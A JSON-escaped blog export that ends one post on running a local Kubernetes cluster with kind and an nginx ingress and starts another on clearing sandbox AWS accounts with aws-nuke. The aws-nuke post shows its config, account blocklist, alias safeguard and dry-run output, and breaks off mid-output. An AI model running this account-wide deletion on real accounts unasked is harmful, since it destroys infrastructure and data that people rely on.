80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost:9000/get\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"args\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"headers\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Accept\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e annotations\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e nginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ingressClassName\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e rules\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pathType\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e backend\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few critical options here. The first is the annotation to rewrite\nthe path so it does not include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment! You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-21T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you are an SRE/DevOps engineer you will end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targeted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e iam\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create-account-alias\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --account-alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run. You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eregions:\n - us-east-1\n - global\n\naccount-blocklist:\n - \"888888888888\" # production\n\naccounts:\n \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in. To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ec2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --all-regions\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --query\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --output\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e text\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e xargs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI personally do not recommend targeting all AWS regions at the same time. It\nwill generate a lot of output and be slow. You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e really\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 777777777777\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Enter\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 